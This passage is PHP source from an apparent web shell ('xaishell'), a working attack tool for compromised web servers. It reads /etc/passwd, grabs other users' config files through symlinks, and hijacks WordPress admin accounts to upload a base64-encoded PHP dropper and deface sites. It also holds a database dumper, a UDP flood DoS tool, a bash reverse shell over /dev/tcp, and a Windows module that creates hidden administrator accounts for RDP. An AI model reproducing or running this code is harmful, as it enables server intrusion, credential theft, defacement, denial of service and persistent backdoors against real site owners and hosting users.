<td><form method="post"><input type="submit" value="Exec Function" name="exuser"></form></td>
<td><form method="post"><input type="submit" value="Shell_exec Function" name="shexuser"></form></td>
</tr>
</table><br>';
if ($_POST['awkuser']) {
echo"<textarea class='inputzbut' cols='65' rows='15'>";
echo shell_exec("awk -F: '{ print $1 }' /etc/passwd | sort");
echo "</textarea><br>";
}
if ($_POST['systuser']) {
echo"<textarea class='inputzbut' cols='65' rows='15'>";
echo system("ls /var/mail");
echo "</textarea><br>";
}
if ($_POST['passthuser']) {
echo"<textarea class='inputzbut' cols='65' rows='15'>";
echo passthru("ls /var/mail");
echo "</textarea><br>";
}
if ($_POST['exuser']) {
echo"<textarea class='inputzbut' cols='65' rows='15'>";
echo exec("ls /var/mail");
echo "</textarea><br>";
}
if ($_POST['shexuser']) {
echo"<textarea class='inputzbut' cols='65' rows='15'>";
echo shell_exec("ls /var/mail");
echo "</textarea><br>";
}
if($_POST['syst'])
{
echo"<textarea class='inputz' cols='65' rows='15'>";
echo system("cat /etc/passwd");
echo"</textarea><br><br><b></b><br>";
}
if($_POST['passth'])
{
echo"<textarea class='inputz' cols='65' rows='15'>";
echo passthru("cat /etc/passwd");
echo"</textarea><br><br><b></b><br>";
}
if($_POST['ex'])
{
echo"<textarea class='inputz' cols='65' rows='15'>";
echo exec("cat /etc/passwd");
echo"</textarea><br><br><b></b><br>";
}
if($_POST['shex'])
{
echo"<textarea class='inputz' cols='65' rows='15'>";
echo shell_exec("cat /etc/passwd");
echo"</textarea><br><br><b></b><br>";
}
echo '<center>';
if($_POST['melex'])
{
echo"<textarea class='inputz' cols='65' rows='15'>";
for($uid=0;$uid<60000;$uid++){
$ara = posix_getpwuid($uid);
if (!empty($ara)) {
while (list ($key, $val) = each($ara)){
print "$val:";
}
print "
";
}
}
echo"</textarea><br><br>";
}
} elseif($_GET['do'] == 'auto_dwp') {
if($_POST['auto_deface_wp']) {
function anucurl($sites) {
$ch = curl_init($sites);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIESESSION, true);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
function lohgin($cek, $web, $userr, $pass, $wp_submit) {
$post = array(
"log" => "$userr",
"pwd" => "$pass",
"rememberme" => "forever",
"wp-submit" => "$wp_submit",
"redirect_to" => "$web",
"testcookie" => "1",
);
$ch = curl_init($cek);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIESESSION, true);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
$scan = $_POST['link_config'];
$link_config = scandir($scan);
$script = htmlspecialchars($_POST['script']);
$user = "rintoar";
$pass = "xaixploit";
$passx = md5($pass);
foreach($link_config as $dir_config) {
if(!is_file("$scan/$dir_config")) continue;
$config = file_get_contents("$scan/$dir_config");
if(preg_match("/WordPress/", $config)) {
$dbhost = ambilkata($config,"DB_HOST', '","'");
$dbuser = ambilkata($config,"DB_USER', '","'");
$dbpass = ambilkata($config,"DB_PASSWORD', '","'");
$dbname = ambilkata($config,"DB_NAME', '","'");
$dbprefix = ambilkata($config,"table_prefix = '","'");
$prefix = $dbprefix."users";
$option = $dbprefix."options";
$conn = mysql_connect($dbhost,$dbuser,$dbpass);
$db = mysql_select_db($dbname);
$q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
$result = mysql_fetch_array($q);
$id = $result[ID];
$q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
$result2 = mysql_fetch_array($q2);
$target = $result2[option_value];
if($target == '') {
echo "[-] <font color=red>error, gabisa ambil nama domain nya</font><br>";
} else {
echo "[+] $target <br>";
}
$update = mysql_query("UPDATE $prefix SET user_login='$user',user_pass='$passx' WHERE ID='$id'");
if(!$conn OR !$db OR !$update) {
echo "[-] MySQL Error: <font color=red>".mysql_error()."</font><br><br>";
mysql_close($conn);
} else {
$site = "$target/wp-login.php";
$site2 = "$target/wp-admin/theme-install.php?upload";
$b1 = anucurl($site2);
$wp_sub = ambilkata($b1, "id=\"wp-submit\" class=\"button button-primary button-large\" value=\"","\" />");
$b = lohgin($site, $site2, $user, $pass, $wp_sub);
$anu2 = ambilkata($b,"name=\"_wpnonce\" value=\"","\" />");
$upload3 = base64_decode("Z2FudGVuZw0KPD9waHANCiRmaWxlMyA9ICRfRklMRVNbJ2ZpbGUzJ107DQogICRuZXdmaWxlMz0iay5waHAiOw0KICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygiLi4vLi4vLi4vLi4vIi4kbmV3ZmlsZTMpKSB1bmxpbmsoIi4uLy4uLy4uLy4uLyIuJG5ld2ZpbGUzKTsNCiAgICAgICAgbW92ZV91cGxvYWRlZF9maWxlKCRmaWxlM1sndG1wX25hbWUnXSwgIi4uLy4uLy4uLy4uLyRuZXdmaWxlMyIpOw0KDQo/Pg==");
$www = "m.php";
$fp5 = fopen($www,"w");
fputs($fp5,$upload3);
$post2 = array(
"_wpnonce" => "$anu2",
"_wp_http_referer" => "/wp-admin/theme-install.php?upload",
"themezip" => "@$www",
"install-theme-submit" => "Install Now",
);
$ch = curl_init("$target/wp-admin/update.php?action=upload-theme");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post2);
curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIESESSION, true);
$data3 = curl_exec($ch);
curl_close($ch);
$y = date("Y");
$m = date("m");
$namafile = "id.php";
$fpi = fopen($namafile,"w");
fputs($fpi,$script);
$ch6 = curl_init("$target/wp-content/uploads/$y/$m/$www");
curl_setopt($ch6, CURLOPT_POST, true);
curl_setopt($ch6, CURLOPT_POSTFIELDS, array('file3'=>"@$namafile"));
curl_setopt($ch6, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch6, CURLOPT_COOKIEFILE, "cookie.txt");
curl_setopt($ch6, CURLOPT_COOKIEJAR,'cookie.txt');
curl_setopt($ch6, CURLOPT_COOKIESESSION, true);
$postResult = curl_exec($ch6);
curl_close($ch6);
$as = "$target/k.php";
$bs = anucurl($as);
if(preg_match("#$script#is", $bs)) {
echo "[+] <font color='lime'>berhasil mepes...</font><br>";
echo "[+] <a href='$as' target='_blank'>$as</a><br><br>";
} else {
echo "[-] <font color='red'>gagal mepes...</font><br>";
echo "[!!] coba aja manual: <br>";
echo "[+] <a href='$target/wp-login.php' target='_blank'>$target/wp-login.php</a><br>";
echo "[+] username: <font color=lime>$user</font><br>";
echo "[+] password: <font color=lime>$pass</font><br><br>";
}
mysql_close($conn);
}
}
}
} else {
echo "<center><h1>WordPress Auto Deface</h1>
<form method='post'>
<input type='text' name='link_config' size='50' height='10' value='$dir'><br>
<input type='text' name='script' height='10' size='50' placeholder='Hacked By Rinto AR' required><br>
<input type='submit' style='width: 450px;' name='auto_deface_wp' value='Hajar!!'>
</form>
<br><span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span>
</center>";
}
} elseif($_GET['do'] == 'dbdump')
{
echo $head.'<p align="center">';
echo '
<form action method=post>
<table width=371 class=tabnet >
<tr><th colspan="2">Database Dump</th></tr>
<tr>
<td>Server </td>
<td><input class="inputz" type=text name=server size=52></td></tr><tr>
<td>Username</td>
<td><input class="inputz" type=text name=username size=52></td></tr><tr>
<td>Password</td>
<td><input class="inputz" type=text name=password size=52></td></tr><tr>
<td>DataBase Name</td>
<td><input class="inputz" type=text name=dbname size=52></td></tr>
<tr>
<td>DB Type </td>
<td><form method=post action="'.$me.'">
<select class="inputz" name=method>
<option value="gzip">Gzip</option>
<option value="sql">Sql</option>
</select>
<input class="inputzbut" type=submit value=" Dump! " ></td></tr>
</form></center></table>';
if ($_POST['username'] && $_POST['dbname'] && $_POST['method']){
$date = date("Y-m-d");
$dbserver = $_POST['server'];
$dbuser = $_POST['username'];
$dbpass = $_POST['password'];
$dbname = $_POST['dbname'];
$file = "Dump-$dbname-$date";
$method = $_POST['method'];
if ($method=='sql'){
$file="Dump-$dbname-$date.sql";
$fp=fopen($file,"w");
}else{
$file="Dump-$dbname-$date.sql.gz";
$fp = gzopen($file,"w");
}
function write($data) {
global $fp;
if ($_POST['method']=='ssql'){
fwrite($fp,$data);
}else{
gzwrite($fp, $data);
}}
mysql_connect ($dbserver, $dbuser, $dbpass);
mysql_select_db($dbname);
$tables = mysql_query ("SHOW TABLES");
while ($i = mysql_fetch_array($tables)) {
$i = $i['Tables_in_'.$dbname];
$create = mysql_fetch_array(mysql_query ("SHOW CREATE TABLE ".$i));
write($create['Create Table'].";nn");
$sql = mysql_query ("SELECT * FROM ".$i);
if (mysql_num_rows($sql)) {
while ($row = mysql_fetch_row($sql)) {
foreach ($row as $j => $k) {
$row[$j] = "'".mysql_escape_string($k)."'";
}
write("INSERT INTO $i VALUES(".implode(",", $row).");n");
}
}
}
if ($method=='ssql'){
fclose ($fp);
}else{
gzclose($fp);}
header("Content-Disposition: attachment; filename=" . $file);
header("Content-Type: application/download");
header("Content-Length: " . filesize($file));
flush();
$fp = fopen($file, "r");
while (!feof($fp))
{
echo fread($fp, 65536);
flush();
}
fclose($fp);
}
} elseif($_GET['do'] == 'grabber') {
echo "
<head>
<link rel='icon' type='image/ico' href='http://www.haurgeulis-security.com/favicon.ico/>
<form method='POST'>
</head>
<style>
textarea {
resize:none;
color: #1975FF ;
border:1px solid blue ;
border-left: 4px solid blue ;
}
input {
color: #1975FF;
border:1px dotted blue;
}
</style>";
echo "<br><center><span style='font-size:30px;'>Config Grabber by Rinto AR</span>";?></center><br><center><?php if (empty($_POST['config'])) { ?><p><font face="Tahoma" color="#007700" size="2pt">/etc/passwd content</p><br><form method="POST"><textarea name="passwd" class='area' rows='15' cols='60'><?php echo file_get_contents('/etc/passwd'); ?></textarea><br><br><input name="config" class='inputzbut' size="100" value="Grabber Now!" type="submit"><br></form></center><br><?php }if ($_POST['config']) {$function = $functions=@ini_get("disable_functions");if(eregi("symlink",$functions)){die ('<error>Symlink is disabled :( </error>');}@mkdir('xaishell_grab', 0755);@chdir('xaishell_grab');
$htaccess="
OPTIONS Indexes FollowSymLinks SymLinksIfOwnerMatch Includes IncludesNOEXEC ExecCGI
Options Indexes FollowSymLinks
ForceType text/plain
AddType text/plain .php
AddType text/plain .html
AddType text/html .shtml
AddType txt .php
AddHandler server-parsed .php
AddHandler txt .php
AddHandler txt .html
AddHandler txt .shtml
Options All
Options All";
file_put_contents(".htaccess",$htaccess,FILE_APPEND);$passwd=$_POST["passwd"];$passwd=explode("n",$passwd);echo "<br><br><center><font color=#b0b000 size=2pt>wait ...</center><br>";foreach($passwd as $pwd){$pawd=explode(":",$pwd);$user =$pawd[0];@symlink('/home/'.$user.'/public_html/application/config/database.php',$user.'-config2.txt');@symlink('/home/'.$user.'/public_html/application/database/config.php',$user.'-config3.txt');@symlink('/home/'.$user.'/public_html/system/config/database.php',$user.'-config4.txt');@symlink('/home/'.$user.'/public_html/system/config.php',$user.'-config5.txt');@symlink('/home/'.$user.'/public_html/includes/config.php',$user.'-config6.txt');@symlink('/home/'.$user.'/public_html/wp-config.php',$user.'-wp13.txt');@symlink('/home/'.$user.'/public_html/wp/wp-config.php',$user.'-wp13-wp.txt');@symlink('/home/'.$user.'/public_html/WP/wp-config.php',$user.'-wp13-WP.txt');@symlink('/home/'.$user.'/public_html/wp/beta/wp-config.php',$user.'-wp13-wp-beta.txt');@symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp13-beta.txt');@symlink('/home/'.$user.'/public_html/press/wp-config.php',$user.'-wp13-press.txt');@symlink('/home/'.$user.'/public_html/wordpress/wp-config.php',$user.'-wp13-wordpress.txt');@symlink('/home/'.$user.'/public_html/Wordpress/wp-config.php',$user.'-wp13-Wordpress.txt');@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp13-Wordpress.txt');@symlink('/home/'.$user.'/public_html/config.php',$user.'-configgg.txt');@symlink('/home/'.$user.'/public_html/news/wp-config.php',$user.'-wp13-news.txt');@symlink('/home/'.$user.'/public_html/new/wp-config.php',$user.'-wp13-new.txt');@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp-blog.txt');@symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp-beta.txt');@symlink('/home/'.$user.'/public_html/blogs/wp-config.php',$user.'-wp-blogs.txt');@symlink('/home/'.$user.'/public_html/home/wp-config.php',$user.'-wp-home.txt');@symlink('/home/'.$user.'/public_html/db.php',$user.'-dbconf.txt');@symlink('/home/'.$user.'/public_html/site/wp-config.php',$user.'-wp-site.txt');@symlink('/home/'.$user.'/public_html/main/wp-config.php',$user.'-wp-main.txt');@symlink('/home/'.$user.'/public_html/configuration.php',$user.'-wp-test.txt');@symlink('/home/'.$user.'/public_html/joomla/configuration.php',$user.'-joomla2.txt');@symlink('/home/'.$user.'/public_html/portal/configuration.php',$user.'-joomla-protal.txt');@symlink('/home/'.$user.'/public_html/joo/configuration.php',$user.'-joo.txt');@symlink('/home/'.$user.'/public_html/cms/configuration.php',$user.'-joomla-cms.txt');@symlink('/home/'.$user.'/public_html/site/configuration.php',$user.'-joomla-site.txt');@symlink('/home/'.$user.'/public_html/main/configuration.php',$user.'-joomla-main.txt');@symlink('/home/'.$user.'/public_html/news/configuration.php',$user.'-joomla-news.txt');@symlink('/home/'.$user.'/public_html/new/configuration.php',$user.'-joomla-new.txt');@symlink('/home/'.$user.'/public_html/home/configuration.php',$user.'-joomla-home.txt');@symlink('/home/'.$user.'/public_html/vb/includes/config.php',$user.'-vb-config.txt');@symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm15.txt');@symlink('/home/'.$user.'/public_html/central/configuration.php',$user.'-whm-central.txt');@symlink('/home/'.$user.'/public_html/whm/whmcs/configuration.php',$user.'-whm-whmcs.txt');@symlink('/home/'.$user.'/public_html/whm/WHMCS/configuration.php',$user.'-whm-WHMCS.txt');@symlink('/home/'.$user.'/public_html/whmc/WHM/configuration.php',$user.'-whmc-WHM.txt');@symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$user.'-whmcs.txt');@symlink('/home/'.$user.'/public_html/support/configuration.php',$user.'-support.txt');@symlink('/home/'.$user.'/public_html/configuration.php',$user.'-joomla.txt');@symlink('/home/'.$user.'/public_html/submitticket.php',$user.'-whmcs2.txt');@symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm.txt');}echo '<b class="cone"><font face="Tahoma" color="#00dd00" size="2pt"><b>Done -></b> <a target="_blank" href="xaishell_grab">Open configs</a></font></b>';}
} elseif($_GET['do'] == 'auto_dwp2') {
if($_POST['auto_deface_wp']) {
function anucurl($sites) {
$ch = curl_init($sites);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIESESSION,true);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
function lohgin($cek, $web, $userr, $pass, $wp_submit) {
$post = array(
"log" => "$userr",
"pwd" => "$pass",
"rememberme" => "forever",
"wp-submit" => "$wp_submit",
"redirect_to" => "$web",
"testcookie" => "1",
);
$ch = curl_init($cek);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIESESSION, true);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
$link = explode("
", $_POST['link']);
$script = htmlspecialchars($_POST['script']);
$user = "rintoar";
$pass = "xaixploit";
$passx = md5($pass);
foreach($link as $dir_config) {
$config = anucurl($dir_config);
$dbhost = ambilkata($config,"DB_HOST', '","'");
$dbuser = ambilkata($config,"DB_USER', '","'");
$dbpass = ambilkata($config,"DB_PASSWORD', '","'");
$dbname = ambilkata($config,"DB_NAME', '","'");
$dbprefix = ambilkata($config,"table_prefix = '","'");
$prefix = $dbprefix."users";
$option = $dbprefix."options";
$conn = mysql_connect($dbhost,$dbuser,$dbpass);
$db = mysql_select_db($dbname);
$q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
$result = mysql_fetch_array($q);
$id = $result[ID];
$q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
$result2 = mysql_fetch_array($q2);
$target = $result2[option_value];
if($target == '') {
echo "[-] <font color=red>error, gabisa ambil nama domain nya</font><br>";
} else {
echo "[+] $target <br>";
}
$update = mysql_query("UPDATE $prefix SET user_login='$user',user_pass='$passx' WHERE ID='$id'");
if(!$conn OR !$db OR !$update) {
echo "[-] MySQL Error: <font color=red>".mysql_error()."</font><br><br>";
mysql_close($conn);
} else {
$site = "$target/wp-login.php";
$site2 = "$target/wp-admin/theme-install.php?upload";
$b1 = anucurl($site2);
$wp_sub = ambilkata($b1, "id=\"wp-submit\" class=\"button button-primary button-large\" value=\"","\" />");
$b = lohgin($site, $site2, $user, $pass, $wp_sub);
$anu2 = ambilkata($b,"name=\"_wpnonce\" value=\"","\" />");
$upload3 = base64_decode("Z2FudGVuZw0KPD9waHANCiRmaWxlMyA9ICRfRklMRVNbJ2ZpbGUzJ107DQogICRuZXdmaWxlMz0iay5waHAiOw0KICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygiLi4vLi4vLi4vLi4vIi4kbmV3ZmlsZTMpKSB1bmxpbmsoIi4uLy4uLy4uLy4uLyIuJG5ld2ZpbGUzKTsNCiAgICAgICAgbW92ZV91cGxvYWRlZF9maWxlKCRmaWxlM1sndG1wX25hbWUnXSwgIi4uLy4uLy4uLy4uLyRuZXdmaWxlMyIpOw0KDQo/Pg==");
$www = "m.php";
$fp5 = fopen($www,"w");
fputs($fp5,$upload3);
$post2 = array(
"_wpnonce" => "$anu2",
"_wp_http_referer" => "/wp-admin/theme-install.php?upload",
"themezip" => "@$www",
"install-theme-submit" => "Install Now",
);
$ch = curl_init("$target/wp-admin/update.php?action=upload-theme");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post2);
curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIESESSION, true);
$data3 = curl_exec($ch);
curl_close($ch);
$y = date("Y");
$m = date("m");
$namafile = "id.php";
$fpi = fopen($namafile,"w");
fputs($fpi,$script);
$ch6 = curl_init("$target/wp-content/uploads/$y/$m/$www");
curl_setopt($ch6, CURLOPT_POST, true);
curl_setopt($ch6, CURLOPT_POSTFIELDS, array('file3'=>"@$namafile"));
curl_setopt($ch6, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch6, CURLOPT_COOKIEFILE, "cookie.txt");
curl_setopt($ch6, CURLOPT_COOKIEJAR,'cookie.txt');
curl_setopt($ch6, CURLOPT_COOKIESESSION,true);
$postResult = curl_exec($ch6);
curl_close($ch6);
$as = "$target/k.php";
$bs = anucurl($as);
if(preg_match("#$script#is", $bs)) {
echo "[+] <font color='lime'>berhasil mepes...</font><br>";
echo "[+] <a href='$as' target='_blank'>$as</a><br><br>";
} else {
echo "[-] <font color='red'>gagal mepes...</font><br>";
echo "[!!] coba aja manual: <br>";
echo "[+] <a href='$target/wp-login.php' target='_blank'>$target/wp-login.php</a><br>";
echo "[+] username: <font color=lime>$user</font><br>";
echo "[+] password: <font color=lime>$pass</font><br><br>";
}
mysql_close($conn);
}
}
} else {
echo "<center><h1>WordPress Auto Deface V.2</h1>
<form method='post'>
Link Config: <br>
<textarea name='link' placeholder='http://target.com/xai_config/user-config.txt' style='width: 450px; height:250px;'></textarea><br>
<input type='text' name='script' height='10' size='50' placeholder='Hacked By Rinto AR' required><br>
<input type='submit' style='width: 450px;' name='auto_deface_wp' value='Hajar!!'>
</form></center>";
}
} elseif($_GET['do'] == 'ddosattack')
{
?>
<form action=" " method="post">
<center><br><br><br>
Your IP: <font color="red"><b><?php echo $my_ip; ?></b></font> (Don't DoS yourself nub)<br><br>
<table class="tabnet" style="width:333px;padding:0 1px;">
<th colspan="5">Ddos Tool</th>
<tr><tr><td>IP Target</td><td>:</td>
<td><input type="text" class="inputz" name="ip" size="48" maxlength="25" value = "0.0.0.0" onblur = "if ( this.value=='' ) this.value = '0.0.0.0';" onfocus = " if ( this.value == '0.0.0.0' ) this.value = '';"/>
</td></tr>
<tr><td>Time</td><td>:</td>
<td><input type="text" class="inputz" name="time" size="48" maxlength="25" value = "time (in seconds)" onblur = "if ( this.value=='' ) this.value = 'time (in seconds)';" onfocus = " if ( this.value == 'time (in seconds)' ) this.value = '';"/>
</td></tr>
<tr><td>Port</td><td>:</td>
<td><input type="text" class="inputz" name="port" size="48" maxlength="5" value = "port" onblur = "if ( this.value=='' ) this.value = 'port';" onfocus = " if ( this.value == 'port' ) this.value = '';"/>
</td></tr></tr></table></b><br>
<input type="submit" class="inputzbut" name="fire" value=" Firee !!! ">
<br><br>
<center>
After initiating the DoS attack, please wait while the browser loads.
</center>
</form>
</center>
<?php
$submit = $_POST['fire'];
if (isset($submit)) {
$packets = 0;
$ip = $_POST['ip'];
$rand = $_POST['port'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_POST['time'];
$time = time();
print "Flooded: $ip on port $rand <br><br>";
$max_time = $time + $exec_time;
for ($i = 0;$i < 65535;$i++) {
$out.= "X";
}
while (1) {
$packets++;
if (time() > $max_time) {
break;
}
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
if ($fp) {
fwrite($fp, $out);
fclose($fp);
}
}
echo "Packet complete at " . time('h:i:s') . " with $packets (" . round(($packets * 65) / 1024, 2) . " mB) packets averaging " . round($packets / $exec_time, 2) . " packets/s
";
}
} elseif($_GET['do'] == 'network') {
echo "<center><form method='post'>
Back Connect: <br>
<input type='text' placeholder='ip' name='ip_bc' value='".$_SERVER['REMOTE_ADDR']."'><br>
<input type='text' placeholder='port' name='port_bc' value='6969'><br>
<input type='submit' name='sub_bc' value='Reverse' style='width: 210px;'>
</form>";
if(isset($_POST['sub_bc'])) {
$ip = $_POST['ip_bc'];
$port = $_POST['port_bc'];
exe("/bin/bash -i >& /dev/tcp/$ip/$port 0>&1");
}
echo "</center>";
} elseif($_GET['do'] == 'krdp_shell') {
if(strtolower(substr(PHP_OS, 0, 3)) === 'win') {
if($_POST['create']) {
$user = htmlspecialchars($_POST['user']);
$pass = htmlspecialchars($_POST['pass']);
if(preg_match("/$user/", exe("net user"))) {
echo "[INFO] -> <font color=red>user <font color=lime>$user</font> sudah ada</font>";
} else {
$add_user = exe("net user $user $pass /add");
$add_groups1 = exe("net localgroup Administrators $user /add");
$add_groups2 = exe("net localgroup Administrator $user /add");
$add_groups3 = exe("net localgroup Administrateur $user /add");
echo "[ RDP ACCOUNT INFO ]<br>
------------------------------<br>
IP: <font color=lime>".gethostbyname($_SERVER['HTTP_HOST'])."</font><br>
Username: <font color=lime>$user</font><br>
Password: <font color=lime>$pass</font><br>
------------------------------<br><br>
[ STATUS ]<br>
------------------------------<br>
";
if($add_user) {
echo "[add user] -> <font color='lime'>Berhasil</font><br>";
} else {
echo "[add user] -> <font color='red'>Gagal</font><br>";
}
if($add_groups1) {
echo "[add localgroup Administrators] -> <font color='lime'>Berhasil</font><br>";
} elseif($add_groups2) {
echo "[add localgroup Administrator] -> <font color='lime'>Berhasil</font><br>";
} elseif($add_groups3) {
echo "[add localgroup Administrateur] -> <font color='lime'>Berhasil</font><br>";
} else {
echo "[add localgroup] -> <font color='red'>Gagal</font><br>";
}
echo "------------------------------<br>";
}
} elseif($_POST['s_opsi']) {
$user = htmlspecialchars($_POST['r_user']);
if($_POST['opsi'] == '1') {
$cek = exe("net user $user");
echo "Checking username <font color=lime>$user</font> ....... ";
if(preg_match("/$user/", $cek)) {
echo "[ <font color=lime>Sudah ada</font> ]<br>
------------------------------<br><br>
<pre>$cek</pre>";
} else {
echo "[ <font color=red>belum ada</font> ]";
}
} elseif($_POST['opsi'] == '2') {
$cek = exe("net user $user xaishell");
if(preg_match("/$user/", exe("net user"))) {
echo "[change password: <font color=lime>xaishell</font>] -> ";
if($cek) {
echo "<font color=lime>Berhasil</font>";
} else {
echo "<font color=red>Gagal</font>";
}
} else {
echo "[INFO] -> <font color=red>user <font color=lime>$user</font> belum ada</font>";
}
} elseif($_POST['opsi'] == '3') {
$cek = exe("net user $user /DELETE");
if(preg_match("/$user/", exe("net user"))) {
echo "[remove user: <font color=lime>$user</font>] -> ";
if($cek) {
echo "<font color=lime>Berhasil</font>";
} else {
echo "<font color=red>Gagal</font>";
}
} else {
echo "[INFO] -> <font color=red>user <font color=lime>$user</font> belum ada</font>";
}
} else {
//
}
} else {
echo "-- Create RDP --<br>
<form method='post'>
<input type='text' name='user' placeholder='username' value='xaishell' required>
<input type='text' name='pass' placeholder='password' value='xaishell' required>
<input type='submit' name='create' value='>>'>
</form>
-- Option --<br>
<form method='post'>
<input type='text' name='r_user' placeholder='username' required>
<select name='opsi'>
<option value='1'>Cek Username</option>
<option value='2'>Ubah Password</option>
<option value='3'>Hapus Username</option>
</select>
<input type='submit' name='s_opsi' value='>>'>
</form>
";
}
} else {
echo "<font color=red>Fitur ini hanya dapat digunakan dalam Windows Server.</font>";
}
} elseif($_GET['act'] == 'newfile') {
if($_POST['new_save_file']) {
$newfile = htmlspecialchars($_POST['newfile']);
$fopen = fopen($newfile, "a+");
if($fopen) {
$act = "<script>window.location='?act=edit&dir=".$dir."&file=".$_POST['newfile']."';</script>";
} else {
$act = "<font color=red>permission denied</font>";
}
}
echo $act;
echo "<form method='post'>
Filename: <input type='text' name='newfile' value='$dir/newfile.php' style='width: 450px;' height='10'>
<input type='submit' name='new_save_file' value='Submit'>
</form>";
} elseif($_GET['act'] == 'newfolder') {
if($_POST['new_save_folder']) {
$new_folder = $dir.'/'.htmlspecialchars($_POST['newfolder']);
if(!mkdir($new_folder)) {
$act = "<font color=red>permission denied</font>";
} else {
$act = "<script>window.location='?dir=".$dir."';</script>";
}
}
echo $act;
echo "<form method='post'>
Folder Name: <input type='text' name='newfolder' style='width: 450px;' height='10'>
<input type='submit' name='new_save_folder' value='Submit'>
</form>";
} elseif($_GET['act'] == 'rename_dir') {
if($_POST['dir_rename']) {
$dir_rename = rename($dir, "".dirname($dir)."/".htmlspecialchars($_POST['fol_rename'])."");
if($dir_rename) {
$act = "<script>window.location='?dir=".dirname($dir)."';</script>";
} else {
$act = "<font color=red>permission denied</font>";
}
echo "".$act."<br>";
}
echo "<form method='post'>
<input type='text' value='".basename($dir)."' name='fol_rename' style='width: 450px;' height='10'>
<input type='submit' name='dir_rename' value='rename'>
</form>";
} elseif($_GET['act'] == 'delete_dir') {
$delete_dir = rmdir($dir);
if($delete_dir) {
$act = "<script>window.location='?dir=".dirname($dir)."';</script>";
} else {
$act = "<font color=red>could not remove ".basename($dir)."</font>";
}
echo $act;
} elseif($_GET['act'] == 'view') {
